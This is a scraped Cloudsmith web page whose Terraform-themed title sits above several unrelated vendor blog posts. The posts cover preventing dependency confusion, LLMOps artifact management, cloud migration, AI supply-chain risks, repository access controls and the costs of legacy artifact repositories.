--- title: "Getting Started with Terraform Modules | Cloudsmith" description: "A video walkthrough of getting set up with a private repository for Terraform Modules on Cloudsmith, including uploading & downloading modules." canonical_url: "https://cloudsmith.com/blog/getting-started-with-terraform-modules-and-cloudsmith" last_updated: "2022-03-03T00:00:00.000Z" --- # Getting Started with Terraform Modules | Cloudsmith [Dependency confusion](https://cloudsmith.com/blog/dependency-confusion-attacks) is a software supply chain weakness that arises from how package managers resolve dependencies across multiple sources. It does not rely on complex exploits. It relies on normal dependency resolution. If a build resolves from both private and public registries, and a public package shares the same name as an internal dependency, the public package may be selected. That is sufficient to introduce unintended code into a build. Modern dependency trees often include extensive transitive dependencies, increasing the number of automatic resolution decisions made during builds. The issue was [widely documented in 2021 ](https://medium.com/@alex.birsan/dependency-confusion-4a5d60fec610)when researchers demonstrated it against more than 35 large organizations by publishing public packages that matched internal names. Since then, dependency confusion has remained a known and preventable risk in modern build systems. ## Where risk appears in practice Modern builds commonly blend: - Internal packages - Public open source dependencies - Upstream proxies - Cached artifacts If resolution rules are not explicit, package managers make decisions on your behalf. Different ecosystems provide different structural protections and different pitfalls. ### Ecosystem specific considerations #### Python PyPI operates on a flat global namespace. There are no built-in organizational scopes and no domain bound identifiers. Package names are globally unique and first come, first served. This means internal package names, for example acme utils or internal ml core, are structurally indistinguishable from public ones unless additional controls are applied. Python projects frequently configure multiple indexes. It is common to see: - Internal private mirrors - Vendor-hosted repositories such as PyTorch wheel indexes for CUDA builds - Regional mirrors - Index url combined with extra index url Python tooling such as pip, uv, and Poetry evaluates candidate versions across configured sources. If the same package name exists in more than one index, the resolver may select the highest compatible version, regardless of origin. Real-world incidents demonstrate this behavior. [In 2022, a malicious package mimicking a PyTorch dependency](https://www.reversinglabs.com/blog/pytorch-supply-chain-attack-dependency-confusion-burns-devops) was published to PyPI and installed via pip resolution during nightly builds, leading to data exfiltration before detection. Without explicit trust boundaries or source mapping, this multi index behavior introduces ambiguity. If an internal package name is exposed and a higher version appears on a public index included in resolution, the public package may be selected. Python’s flat namespace model, combined with common multi index configurations, makes careful source control particularly important. #### npm npm supports scoped packages using the @org/package format. Once registered, a scope is controlled by that organization. However, unregistered scopes remain claimable. If an organization uses scoped internal packages but has not reserved the scope publicly, an attacker could register it and publish similarly named packages, for example @org/app. A configuration mistake in development or CI could then result in the malicious package being resolved and executed, including via lifecycle hooks such as preinstall. Unscoped internal package names carry exposure similar to Python. #### Maven Maven Central uses domain-based groupId verification, providing stronger ownership guarantees when correctly configured. However, inconsistent repository usage or additional repositories can reintroduce ambiguity in resolution order if trust boundaries are not clearly defined. #### NuGet While NuGet supports ID prefix reservation to prevent public name squatting, resolution ambiguity can still arise if multiple feeds are configured. **Key safeguards include:** - ID prefix reservationReserve your organization’s package ID prefix on nuget.org to prevent public impersonation. - Package Source Mapping Use NuGet 6+ source mapping to bind specific package IDs or prefixes to a single trusted feed. - Strict nuget.config configurationClear default feeds and explicitly define approved sources to prevent unintended restores. - Signature enforcementNuGet repository signing using X.509 certificates. When signature verification is enforced in the NuGet or .NET CLI, consumers can verify that a package originated from the expected repository and has not been tampered with. #### Docker Docker Hub differs from language ecosystems because image references are typically registry qualified, making classic multi-source confusion less common. However, **related risks remain:** - Implicit Docker Hub fallback when no registry is specified - Unregistered namespace squatting - Mutable tags such as latest These are mitigated through fully qualified image references, namespace reservation, digest pinning using SHA256, and image signing. ## A layered mitigation approach Preventing dependency confusion does not require dramatic changes to developer workflows. It requires clear trust boundaries in how dependencies are resolved. In practice, this is implemented through an internal artifact repository that controls how dependencies are proxied, cached, and resolved. Key elements include: - Centralizing dependency resolution - Defining explicit upstream trust - Controlling namespace ownership - Using lockfiles and reproducible builds - Enforcing artifact signing and verification ### 1. Central artifact repository Route all builds through a central artifact repository that acts as the single source of truth for dependencies. Public packages should be proxied and cached internally rather than resolved directly from the internet. ### 2. Define upstream trust Explicitly distinguish between trusted and untrusted sources. Cloudsmith provides upstream trust controls that allow repositories to designate upstream sources accordingly and control how packages are blended during resolution. If a package exists in a trusted source, it cannot be overridden by an untrusted one. Cloudsmith’s Upstream Trust currently supports: - Python - Maven - npm Support for additional ecosystems is expanding. In addition to source trust controls, policy enforcement provides another layer of protection. [Cloudsmith’s Enterprise Policy Manager](https://cloudsmith.com/product/enterprise-policy-manager) allows organizations to define rules around what packages are permitted, including conditions based on vulnerability data, malware data, version constraints, or upstream origin. This enables teams to combine resolution boundaries with policy-based controls. ### 3. Reserve namespaces Where supported: - Use npm scopes - Reserve NuGet ID prefixes - Use domain based Maven group IDs Namespace ownership significantly reduces collision risk. ### 4. Use lockfiles Lockfiles improve determinism, traceability, and visibility into unexpected changes. They do not eliminate dependency confusion, but they reduce instability and make tampering easier to detect. ### 5. Require signing Signing adds cryptographic integrity to artifacts. Cloudsmith signs hosted packages by default. Cloudsmith supports both native and non-native signing across package formats, including native signing for [Docker, NuGet, and Swift](https://cloudsmith.com/blog/native-signing-support-in-cloudsmith-extended-to-docker-nuget-and-swift). Signature validation workflows in supported ecosystems provide an additional verification layer if substitution is attempted. Signing strengthens integrity guarantees but does not replace resolution controls. ## Conclusion Dependency confusion is not a sophisticated exploit. It is a consequence of ambiguous resolution behavior across multiple sources. Preventing it requires: - A central artifact repository serving as the single source of truth for dependencies - Explicit upstream trust boundaries - Namespace ownership - Lockfiles and reproducible builds - Artifact signing and verification Clear boundaries remove ambiguity. Removing ambiguity removes the attack path. Stop leaving your build integrity to chance. [**Book a demo**](https://cloudsmith.com/book-a-demo) today to see how Cloudsmith's enterprise-grade repository controls can remove ambiguity and harden your delivery process. **TL;DR:** LLMOps is the operational framework for managing the lifecycle of Large Language Models (LLMs). Unlike DevOps, which focuses on deterministic code, **LLMOps artifact management** must handle probabilistic assets like prompts, embeddings, and fine-tuned models. This shift requires a move from standard CI/CD to specialized **LLM pipeline management** to ensure system traceability and trust. ## What is LLMOps? **LLMOps (Large Language Model Operations)** is a specialized set of practices for automating and managing the end-to-end lifecycle of LLM-powered applications. It extends MLOps principles to address the unique requirements of generative AI, specifically focusing on **LLM lifecycle management**, prompt engineering, and vector-based data flows. While DevOps focuses on application code and MLOps on traditional machine learning models, **LLMOps** handles the massive complexity of: - **Foundation and fine-tuned models:** Managing base models and their task-specific variants. - **Prompt artifacts:** Versioning the system instructions that dictate model behavior. - **Embeddings and vector indexes:** Curating the "knowledge" used in Retrieval-Augmented Generation (RAG) systems. - **Dynamic inference behavior:** Monitoring outputs that change even when input code remains the same. In essence, LLMOps is about operationalizing AI rather than just software binaries. ## LLMOps vs DevOps: Why the difference matters The debate of **LLMOps vs DevOps** isn't about choosing one over the other; it’s about understanding where **DevOps tooling limitations for AI** begin. DevOps is built for deterministic systems; if you deploy the same code, you get the same result. LLM pipelines are probabilistic, meaning the same "code" (prompt) can yield different outputs. ```json { "_key": "5a4b45476f69", "_type": "tableBlock", "caption": "LLMOps vs DevOps", "firstRowIsHeader": true, "markDefs": null, "table": { "rows": [ { "_key": "d673a428-3c6a-49c3-87fa-b7dfdff2ec98", "_type": "tableRow", "cells": [ "Category", "DevOps", "LLMOps" ] }, { "_key": "453e4f7a-37ed-4c9c-8bd9-1610932f52de", "_type": "tableRow", "cells": [ "Primary focus", "Application code and services", "Large language models and AI systems" ] }, { "_key": "8bef99c7-76e1-4dc0-81f3-8f96bc8be683", "_type": "tableRow", "cells": [ "Pipeline type", "Linear CI/CD pipelines", "LLM pipelines (training, fine-tuning, evaluation)" ] }, { "_key": "30efc20f-d752-4f94-b718-b4bac0e30ace", "_type": "tableRow", "cells": [ "Artifact types", "Software artifacts (containers, binaries)", "AI artifacts (models, prompts, embeddings)" ] }, { "_key": "30be9c5f-912a-4b10-b7ba-8a3d3b594016", "_type": "tableRow", "cells": [ "Behavior", "Deterministic and reproducible", "Probabilistic and context-dependent" ] }, { "_key": "17362cff-191b-4f7a-9c4a-3c2b2a8be477", "_type": "tableRow", "cells": [ "Change frequency", "Deliberate versioning", "Rapid iteration of prompts and datasets" ] }, { "_key": "b1fc02b1-3d99-4d38-aa79-6a8215086984", "_type": "tableRow", "cells": [ "Traceability", "Moderate (log-based)", "Critical (lineage-based for compliance)" ] } ] } } ``` The core takeaway is that the shift from **DevOps artifact management** to **AI artifact management** involves handling much larger, more volatile assets that directly influence the "logic" of the application. ## Why artifact management matters in LLMOps In a traditional app, an artifact is just a compiled file. In AI, **artifacts are the system.** Without robust **artifact management for LLMs**, teams face a "black box" problem where they cannot explain why a model suddenly began hallucinating or failing. **Effective AI artifact management solves for:** - **Reproducibility:** Re-creating a specific model state using exact dataset snapshots. - **Auditability:** Tracking the lineage of a prompt to meet emerging AI regulations. - **Rollback safety:** Quickly reverting to a previous "known good" version of a prompt or embedding index. - **Cost efficiency:** Preventing redundant training by reusing existing **model artifacts**. ## What artifacts do LLM pipelines produce? Modern **LLM pipeline management** generates a diverse array of non-code assets across the **AI model lifecycle**. Understanding these is key to moving beyond simple script-based deployments. #### Common LLM artifacts: - **Model artifacts:** These include base foundation models (like Llama 3 or GPT-4), fine-tuned adapters (LoRA/QLoRA), and quantized versions for edge deployment. - **Dataset versioning:** Snapshots of training data, evaluation sets (Golden Sets), and synthetic data used for testing. - **Prompt artifacts:** Versioned system prompts, few-shot examples, and complex prompt chains that function as the "new source code." - **Embeddings management:** Vector database snapshots and the specific embedding models (e.g., Ada, BERT) used to generate them. - **Inference artifacts:** Production logs, "LLM-as-a-judge" evaluation scores, and human-in-the-loop feedback. ## MLOps vs LLMOps: Where traditional approaches fall short Many teams assume their existing MLOps stacks can handle LLMs. However, **MLOps vs LLMOps** highlights a critical gap: **prompt versioning.** Traditional MLOps tools aren't built to treat a 50-word text string (a prompt) as a deployment-critical artifact. Furthermore, the **inference artifacts** in LLMOps are much richer, requiring semantic monitoring rather than just simple accuracy metrics. #### Feature store vs Artifact repository A common point of confusion is the choice between a **feature store vs artifact repository**: - **Feature stores** are for structured data used in tabular ML. - **Artifact repositories** (like weights and biases or MLflow) are the "System of Record" for the unstructured models and prompts that define an LLM app. ## Challenges and best practices for LLMOps Managing these assets comes with significant **challenges of artifact management in LLMOps**, including massive file sizes and the high velocity of prompt changes. #### LLMOps best practices: - **Treat prompts as code:** Store prompts in version-controlled repositories, not hardcoded in your app. - **Centralize your artifact registry:** Use a single source of truth for all models and embeddings to avoid "shadow AI" across teams. - **Automate lineage tracking:** Ensure every inference result is traceable back to the specific model version, prompt, and dataset used. - **Implement evaluation gates:** In your **LLM workflows**, never promote an artifact to production without passing an automated evaluation suite. ## FAQ: Frequently asked questions on LLMOps - ### How is LLMOps different from DevOps? LLMOps manages probabilistic AI assets like models and prompts, while DevOps manages deterministic code and binaries. LLMOps requires specialized pipelines for evaluation and fine-tuning that don't exist in traditional CI/CD. - ### Why does artifact management matter in LLMOps? It ensures that every AI output is traceable and reproducible. Without it, you cannot debug hallucinations, comply with AI audits, or reliably roll back failed updates. - ### What are the most important LLMOps workflows? Key workflows include data ingestion for RAG, automated prompt evaluation, model fine-tuning, and continuous monitoring of inference quality. ## Final thoughts The future of software is no longer just about code; it’s about **artifacts, intelligence, and trust.** As LLMs move from experiments to core infrastructure, the transition from DevOps to LLMOps is inevitable. Teams that master **artifact management for LLMs** today will be the ones building the most reliable, scalable, and auditable AI systems of tomorrow. To manage LLMOps at enterprise scale, use Cloudsmith as your single source of truth. Discover how by [booking your free demo](https://cloudsmith.com/book-a-demo) today. **Cloud migration** is rarely just an infrastructure move. For most DevOps and platform teams in 2026, it’s a once-in-a-decade opportunity to rethink tooling, eliminate legacy bottlenecks, and modernize the [**software supply chain**](https://cloudsmith.com/product/software-supply-chain-security) end-to-end. One of the most overlooked, but highest-impact, areas to revisit during this transition is **artifact management**. As organizations shift workloads and security controls into the cloud, the limitations of [**legacy artifact repositories**](https://cloudsmith.com/blog/the-true-cost-of-legacy-artifact-management) quickly become visible. What once worked in on-premise environments often creates friction, risk, and massive operational overhead in a cloud-native world. This is why **cloud migration** isn’t just a "lift-and-shift" event. It’s the ideal moment to reassess how you store, secure, and distribute artifacts across modern **cloud migration DevOps** workflows. ## Why legacy artifact repositories struggle during cloud migration Traditional, self-hosted repositories were designed for static infrastructure and perimeter-based security. Cloud environments invert those assumptions. During migration, teams commonly encounter: - **Scaling constraints:** Legacy tools often require manual server provisioning or expensive over-capacity planning. - **Operational toil:** Managing patches, database tuning, and storage maintenance for your own repository steals focus from your core product. - **Performance bottlenecks:** When global teams depend on a single on-premise instance, latency sabotages developer velocity. Keeping a legacy repository while modernizing everything else often results in a "partially modern" stack with legacy risk still embedded in your delivery pipeline. ## Cloud migration exposes hidden software supply chain risk Modern cloud adoption increases velocity, but speed without control amplifies risk across the **software supply chain**. Common exposure points include: - **Unverified third-party dependencies:** Cloud-scale builds pull in thousands of external packages that need immediate scanning. - **Inconsistent provenance:** Difficulty tracking exactly "who built what and where" across fragmented environments. - **Limited policy enforcement:** Brittle legacy controls that can't handle the dynamic nature of cloud-native deployments. Re-evaluating artifact management during migration allows teams to embed **zero-trust** governance exactly when redesigning their pipelines. ## The modernization opportunity: Fully managed artifact repositories Cloud migration creates the perfect window to replace self-hosted infrastructure with a fully managed** artifact repository** built for elasticity and global distribution. Modern platforms like **Cloudsmith** deliver: - **Infinite scalability:** No more storage planning or maintenance; the platform automatically scales with your builds. - **Edge performance:** A built-in Package Delivery Network (PDN) delivers artifacts worldwide to reduce latency. - **Integrated security:** Features like automated vulnerability scanning and signature verification are baked in, not bolted on. Instead of recreating legacy architecture in the cloud, organizations can move directly to a fully managed model aligned with cloud‑native principles. This shift transforms artifact management from a maintenance task into a strategic layer of the delivery platform. ## When to move: Aligning your migration strategy Teams often postpone modernization because migration feels complex. However, delaying the decision typically leads to "double migration" work, migrating the legacy tool today and replacing it tomorrow. **Aligning modernization with your cloud move avoids:** 1. **Re-architecting pipelines twice:** Design your CI/CD for your final destination, not a temporary stop. 2. **Moving massive stores twice:** Cloud-native migration scripts (like the Cloudsmith CLI) handle the transfer of binaries and metadata once. 3. **Carrying legacy debt:** Ensure your new cloud environment launches with a clean, high-performance foundation from day one. ## Signs your artifact management is holding you back Before moving to the cloud, audit your current state. If these "silent killers" sound familiar, a lift-and-shift solution will only migrate your technical debt: - **Manual maintenance toil:** Your team spends hours every month on repository upgrades, patching, and storage "garbage collection". - **The "slow download" tax:** Global developers or remote build agents face high latency because your on-premise repository lacks a global distribution network. - **Compliance blind spots:** You struggle to provide a complete "bill of materials" (SBOM) or audit trail for a security incident. - **Brittle CI/CD scripts:** Your pipelines rely on custom, "home-grown" scripts to move packages between environments because your tool doesn't support native promotion workflows. ## The strategic ROI: What actually changes? Modernizing your **artifact repository** during a cloud move isn't just a technical swap; it delivers measurable business impact: - **Developer velocity:** By eliminating manual bottlenecks and enabling faster access to dependencies, teams often see **43% faster release cycles**. - **Zero-trust security:** Centralized policy enforcement and automated vulnerability scanning move security from a "final check" to an integrated part of the build. - **Operational efficiency:** Moving to a fully managed** artifact repository** removes the "toil" of server management, allowing your DevOps engineers to focus on product innovation rather than infra-maintenance. - **Total cost of ownership (TCO):** You trade hidden infrastructure costs and administrative salaries for a predictable, transparent, fully managed model. ## Evaluating alternatives: Beyond JFrog and Nexus Many organizations begin cloud migration using legacy tools like **JFrog Artifactory** or **Sonatype Nexus**, only to find they were built for a different era of infrastructure. Modern cloud-native platforms eliminate the need to manage repository infrastructure while delivering stronger governance and global performance. As a result, more teams are looking for [**JFrog alternatives**](https://cloudsmith.com/switch/jfrog-artifactory) and [**Nexus alternatives**](https://cloudsmith.com/switch/sonatype-nexus) that offer a fully managed, "Zero-Ops" experience. For teams ready to [**migrate, Cloudsmith**](https://docs.cloudsmith.com/migrating-to-cloudsmith?_gl=1*1tuvjc8*_gcl_au*MjA0MTMxOTg3MC4xNzYzMzg3ODg3*_ga*NDcwNDc1ODMuMTcyMzAyNjg2MQ..*_ga_6KCWZ6W3Y9*czE3NzAyOTA3NDEkbzE1MiRnMSR0MTc3MDI5MTAwMiRqNDEkbDAkaDA.*_ga_H5NBQJ0NGM*czE3NzAyOTA3NDEkbzMxMiRnMSR0MTc3MDI5MTAwMiRqNDAkbDAkaDkzNTk0MDIyMw..) streamlines the process to minimize disruption and accelerate value realization. ## Why global leaders migrate artifact management to Cloudsmith As teams evaluate **alternatives to JFrog and Nexus**, they increasingly move to **Cloudsmith**, designed specifically for modern DevOps and secure software delivery for the security landscape of 2026 and beyond. **The Cloudsmith advantage:** - **Zero-ops architecture:** A true cloud-native, fully managed experience with no databases to manage and no servers to patch. - **Built-in package delivery network (PDN):** Hundreds of nodes deliver artifacts from the edge, ensuring your global build agents always have high-speed access. - **Universal format support:** One single source of truth for Docker, npm, Maven, Python, and 30+ other formats. - **Supply chain resilience:** Automated provenance tracking and signature verification help keep you compliant with key security standards and ensure that what you ship is exactly what you built. ## Conclusion: Don’t just move to the cloud – modernize what matters Cloud migration is a rare opportunity to fix the "foundation" of your house before you move in the furniture. By re-evaluating your **artifact management** now, you ensure your cloud-native future is fast, secure, and, most importantly, manageable. The most successful cloud migrations don’t just replicate the past. They modernize the platform that powers everything built next. **Planning a cloud migration?** [Book a demo](https://cloudsmith.com/book-a-migration-consultation) with our experts to simplify the process. ## Frequently asked questions - ### What is artifact management in DevOps? It is the practice of storing, securing, and distributing build outputs, such as Docker images or Maven packages, throughout the development lifecycle. It ensures your builds are reproducible and secure. - ### Why reconsider artifact repositories during cloud migration? Updating your repository during a move avoids duplicate work and ensures that a legacy on-premises artifact manager doesn’t constrain your new cloud infrastructure. - ### What are the risks of keeping a self-hosted repository in the cloud? [Self-hosting](https://cloudsmith.com/blog/cloud-native-vs-on-premise-artifact-management-a-complete-overview) in the cloud still requires manual patching and scaling. This increases costs and creates "visibility gaps" that can lead to security breaches. - ### How does a fully managed artifact repository improve security? Fully managed platforms provide centralized governance, immutable storage, and automated compliance auditing, all of which are critical to a secure **software supply chain**. For years, the bottleneck in software was “how fast can we write code?” Today, Generative AI shifts that bottleneck to **“how fast can we secure it”**. For years, the bottleneck in software was “how fast can we write code?” Today, Generative AI shifts that bottleneck to “[how fast can we secure it](https://cloudsmith.medium.com/is-ai-quietly-making-your-software-supply-chain-less-secure-e1364de33f9a)?” As organizations move from experimentation to production-grade AI, they are discovering that traditional DevOps tooling wasn’t built for a non-deterministic world. For example, static software composition analysis (SCA) scanners that assume deterministic dependency graphs or CI policy gates that validate known build artifacts. When a model generates code rather than a human, the software supply chain changes overnight. Our guide, **Securing non-deterministic systems: A practical guide for AI artifacts and LLMOps**, explores three emerging security frontiers that every organization adopting AI must address: ## 1. AI-generated code introduces supply-chain hallucinations LLMs generate dependencies probabilistically, not deterministically. This creates the emerging **slopsquatting** attack vector, where attackers register hallucinated package names suggested by AI tools and weaponize them with malicious payloads.Without validation and artifact governance, a single copied command can silently compromise an enterprise environment. ## 2. AI models behave like executable software, not passive data Modern model formats can execute arbitrary code during deserialization, most notably through Python pickle-based loading.This **logic-weight entanglement** means downloading an unverified model from public registries such as Hugging Face or Ollama can result in full system compromise.Secure AI development requires scanning, signing, and favoring restricted formats like **safetensors**, alongside enforcing trusted provenance for every model artifact. ## 3. AI productivity and orchestration layers expand the attack surface Frameworks that connect models to enterprise data and automate workflows introduce a new class of high-impact vulnerabilities.Recent RCE exploits in orchestration tools demonstrate that **LLMOps infrastructure itself is now part of the software supply chain**, and must be sandboxed, authenticated, and governed like any production system. ### Ready to harden your AI supply chain? Our full guide provides a strategic roadmap for navigating the shift from DevOps to LLMOps, deconstructing threats in frameworks like Langflow, and building a “sandbox-by-default” development lifecycle. **[Download the full guide: [Securing non-deterministic systems](https://cloudsmith.com/campaigns/securing-non-deterministic-systems-a-practical-guide-for-ai-artifacts-and-llmops)]** **Catch up on the series:** - [_Why Repository Structure Matters?_](https://cloudsmith.com/blog/why-repository-structure-matters) - [_The Hybrid Repository Structure: Balancing Control and Flexibility_](https://cloudsmith.com/blog/the-hybrid-repository-structure-balancing-control-and-flexibility) And now, let’s dive into part three: How **access control and permissions** keep your multi-format repositories secure, consistent, and developer-friendly. In the first two blogs of this series, we explored why repository structure matters and how Cloudsmith’s Hybrid Repository Structure balances control with flexibility. While we touched on policies and permissions, we didn’t dive into the _real_ mechanics of how access control ensures artifact security, traceability, and consistency, especially in **multi-format repositories**, where different packages, languages, and tooling coexist in a single place. While multi-format repositories allow for more flexibility in how your repositories are set up, they can introduce a new way of thinking about how and when different artifacts can be accessed and by whom. This blog breaks down how Cloudsmith provides fine-grained, flexible, and secure controls for teams of any size. ## User roles in Cloudsmith Cloudsmith provides the following user roles: - Owner - Manager - Member - Collaborator These roles help limit access based on organizational need and provide the foundation for more granular permissions. ## Privileges in Cloudsmith - Administrator - Read - Write You can explore the full breakdown of Cloudsmith roles, permissions, and privileges in our documentation. You can read more about user roles, permissions, and privileges in Cloudsmith [here](https://help.cloudsmith.io/docs/access-controls). ## Global privileges in Cloudsmith Every Cloudsmith customer is given the opportunity to set default global privileges. These global default privileges are set for the “Member” user role in Cloudsmith, which is often suited best for individual developers. Within a customer’s global workspace privileges, organizations can choose to grant members the ability to create new teams, invite new users, and even create new repositories. Organization owners can also grant “blanket” repository privileges to all users within Cloudsmith.  While we offer the flexibility for organizations to shift responsibility and access to the developer, we often see our enterprise customers lean away from blanket permissions and access toward more fine-grained permissions. As an example, we have a semiconductor manufacturing customer that has disabled default workspace global privileges so that only Organisation owners are the only users who can invite new users, create new teams, invite 3rd-party collaborators, and create new repositories.  In addition, this customer has access control, and privileges are scoped down to specific teams. Default global repository privileges are disabled so that they can choose exactly which team(s) should have access to repository(s). Even Cloudsmith service accounts are grouped together within a team for ease of tracking permissions and access when it comes to build and deployment times.  ## Repository privileges in Cloudsmith If we zoom in once and look at the repository level in Cloudsmith, we can assign a default privilege for organization members for accessing packages within the repository, and we can assign specific privileges for specific teams, users, or service accounts. This is the stage where you’ll have to consider what packages the repository is storing and if you want developers and service accounts to have default admin, read, or write permissions to the repository. Continuing to use my customer example, they have chosen to set default read permissions for all repositories; however, specific service accounts have write and [admin permissions](https://help.cloudsmith.io/docs/manage-a-repository) to different repositories. You may be okay with your developers downloading artifacts to their local machine for testing or even service accounts requesting stored artifacts tied to staging and production environments. On the other hand, there are customers that may not want their developers having the ability to write to every repository and would most likely want specific service accounts tied to their CI/CD pipelines to only have write permissions. While this is generally best practice, there are certainly exceptions to this rule, as we also have platform teams that choose to grant specific developer teams write access to specific artifact repositories. ## Fine-grained repository controls On top of the permission and access control settings we’ve discussed, Cloudsmith goes even further to ensure that, through various additional settings, platform teams can decide exactly what their developers need and don’t need to be reconfigured within a repository. Platform teams are able to grant or deny developer permissions, such as: - Copying Packages From One Repository to Another - Moving Packages From One Repository to Another - Deleting Packages - Scanning Packages - Replacing Packages - Managing, Using, Or Viewing Entitlement Tokens If you thought that wasn’t enough, Cloudsmith takes it a step further by scoping down permissions to the individual developer’s generated packages. So while platform teams can restrict tampering of artifacts generated by other developers or systems, they can also decide if they would like to allow developers the ability to scan, move, copy, delete, or resync their own packages. Most of the enterprise customers I work with allow developers to do as they please with their own packages to avoid a developer mutiny! In either case, these user actions are catalogued in our [Audit Logs](https://docs.cloudsmith.com/logs-and-observability/audit-logs) for enhanced observability across your Cloudsmith environment. ## Entitlement tokens For instances where our customers want to be very particular about what, how, and when users can access specific packages, Cloudsmith offers [Entitlement Tokens](https://help.cloudsmith.io/docs/entitlements). These scoped tokens are read-access only, so there is never a risk of a user performing a write action against the repository they have limited access to. Customers are able to restrict access by creating a precise search query to narrow down specific packages within a repository, should they choose not to provide visibility into all the packages within the repository. On top of visibility restrictions, customers can also add token usage restrictions to avoid prolonged access and usage of the token. Parameters include: - Token Validity & Expiry Dates - Maximum Downloads - Maximum Clients/IPs - Maximum Download Bandwidth Typically, we see our customers use entitlements for 3rd party software distribution or even for systems that don’t require logins to Cloudsmith. ## Geo/IP Restrictions For our security-conscious customers, Cloudsmith also offers the ability to configure [geo-based restrictions](https://help.cloudsmith.io/docs/geoip-restriction) based on country, with an easy-to-use preconfigured list of countries to choose from. Choose to deny or allow access from specific countries. Although keep in mind that theoretically, no unauthenticated user should have access to your Cloudsmith workspace in general. This restriction applies more towards open-source repositories that you may be hosting in Cloudsmith, but it’s always a good idea to practice defence-in-depth! If geo-based restrictions are too broad, you can scope down to IP-based restrictions to either allow or deny client access based on IP address. This added protection ensures that requests coming from clients with an unapproved IP address do not have access to your repositories.  ## We’re here to help With all of these configuration options, it can be tricky to decide how you want to best enable your developers while balancing security and flexibility. Not to worry—the Cloudsmith Customer Success team is here to help you in your decisions throughout the onboarding process. We’ve walked through these decisions with many customers and have outlined decision impacts for you so you’re not left wondering “what if”. Learn more about Cloudsmith [here](https://cloudsmith.com/) to get started with us. See you on the other side!  ## FAQs (Frequently asked questions) ### 1. What is access control in a multi-format repository? Access control defines who can read, write, or administer artifacts across different package formats stored in the same repository. It ensures secure, consistent governance across diverse tooling. ### 2. How do permissions work in Cloudsmith for multi-format repositories? Cloudsmith supports global, repository-level, team-based, and user-specific permissions, allowing organizations to tailor access to packages, teams, service accounts, and even individual artifact actions. ### 3. Why is fine-grained access control important in software supply chain security? Fine-grained controls reduce the blast radius of errors, prevent unauthorized writes, and help organizations enforce policies required by modern software supply chain frameworks like SLSA and SSDF. ### 4. What are entitlement tokens used for in Cloudsmith? Entitlement tokens provide scoped, read-only access to specific artifacts without requiring user accounts, making them ideal for external distribution, automation, or least-privilege workflows. ### 5. Can developers manage their own packages in Cloudsmith? Yes. Cloudsmith allows permissions that let developers manage only the packages they personally created—without putting others’ artifacts at risk. ### 6. How does Cloudsmith support secure CI/CD pipeline access? Service accounts can be granted precisely the permissions needed for pipeline operations (like write or admin) while keeping developers and collaborators restricted to read-only or scoped access. ### 7. What’s the difference between global and repository-level privileges? Global privileges affect the entire workspace, while repository-level privileges enable granular control over specific teams, users, or service accounts interacting with a particular repository. In a world where software ships in seconds, teams are still chained to legacy systems built for a different era. What once passed as “good enough” for storing and distributing builds has become a drain on productivity - adding risk, slowing delivery, and quietly inflating costs year after year. In this post, we’ll break down the hidden cost of legacy artifact repositories, discuss the importance of modernizing through cloud-native artifact management, and demonstrate how you can leave the old infrastructure that has been slowing your software supply chain. ## What is legacy artifact management? Legacy artifact management involves older on-premise artifact repositories or in-house custom systems. These tools were designed in another era, when teams used monolithic applications and updates were done once a year or even less. The modern reality is very different. Cloud-native development, continuous CI/CD pipelines, and distributed engineering teams need a modern artifact management approach that delivers scalability, uptime, and built-in security. This is where legacy artifact repositories fall behind. Many teams assume that on-prem systems are “more secure” because they’re isolated, but isolation no longer protects against today’s threats. Most attacks now originate upstream, through open-source dependencies that already contain vulnerabilities, malicious code injections, or compromised packages.  With the volume and speed of issues emerging in the open-source ecosystem, an isolated, self-hosted repository cannot keep pace without continuous scanning, real-time visibility, and automated updates. Without these protections, legacy artifact management becomes a blind spot in the software supply chain - quietly storing and distributing unverified or unsafe artifacts. ## The hidden costs of legacy or on-premise artifact repositories Legacy systems can feel safer to stick with - they’re already in place and “working.” But maintaining the status quo often hides bigger costs: outdated infrastructure, ongoing maintenance, and mounting security risks from unpatched or unsupported components. ### 1. Complexity and maintenance overhead Legacy repositories need to be manually patched, updated, backed up, and scaled. Teams spend valuable engineering time on server management instead of innovation. Each new project or environment increases the complexity of configuration and slows down the development. ### 2. Unrecognized infrastructure costs Hosting artifact repositories either in on-prem or in self-managed cloud VMs requires continued expenditure on storage, bandwidth, and compute. The costs increase unintentionally as the size and volume of artifacts grows (especially large Docker images or build artifacts). Beyond infrastructure, many older systems also require costly vendor support contracts for upgrades, patches, and troubleshooting. These fees often increase over time and are non-negotiable. ### 3. Security and compliance risks Legacy systems often lack built-in scanning, access control, or software bill of materials (SBOM) capabilities. Lacking transparency in dependencies leaves teams exposed to vulnerabilities and unmet compliance requirements - something that enterprises will not be able to afford in 2025 and beyond's regulatory environment. ### 4. Scalability limitations As repositories grow, performance bottlenecks emerge - developers face slower downloads, failed builds, and pipeline downtime, all of which directly slow release velocity and drain productivity. ## Why cloud-native artifact management is a change worth making Legacy tools may have provided the groundwork for early DevOps, but they cannot keep up with the current software landscape. Modern organizations need next-generation artifact management - cloud-native solutions designed for speed, security, scalability, and seamless integration with cloud-native CI/CD pipelines. A [cloud-native artifact management](https://cloudsmith.com/product/cloud-native-artifact-management) platform is more than just a storage location for packages - it’s a critical pillar of your software supply chain security. It guarantees that every artifact, from source to deployment, is verified, traceable, and instantly accessible, regardless of where your teams are working. These capabilities are exactly why more organizations are moving to modern, cloud-native platforms that combine speed, security, and scalability to support today’s software delivery demands - reasons we explore in detail below. ### 1. No maintenance and always up to date With legacy artifact repositories, engineering teams spend hours managing servers, applying patches, and juggling storage. A truly [cloud-native artifact management platform](https://cloudsmith.com/blog/artifact-management-a-complete-guide) is different from simply hosting a repository in the cloud—it’s built to auto-scale, self-update, and deliver continuous security without manual intervention. There’s no server downtime, no upgrade windows to schedule, and no need to plan for storage expansion - everything is handled seamlessly in the background. ### 2. Scalability without complexity Self-hosted systems cannot keep pace with the growth in artifact volume size. A cloud-native artifact management platform dynamically boosts its capacity to manage millions of artifacts across multiple teams, regions, and projects, [without compromising performance](https://cloudsmith.com/product/global-software-distribution). Using elastic storage and edge caching CDNs, developers are always guaranteed a [quick download and high uptime](https://cloudsmith.com/blog/scaling-for-extreme-performance). ### 3. Built-in security and compliance from the ground up In today’s world, threats move faster than ever. With malicious packages and supply chain attacks on the rise, cloud-native artifact repositories integrate vulnerability scanning, access controls, and SBOMs (Software Bill of Materials) directly into your pipelines. This ensures that all artifacts maintained and shared are validated, trackable, and consistent with the industry regulations such as SOC 2, ISO 27001, and FedRAMP. No extra patching or standalone security tools - modern artifact management [integrates security](https://cloudsmith.com/product/software-supply-chain-security) into every phase 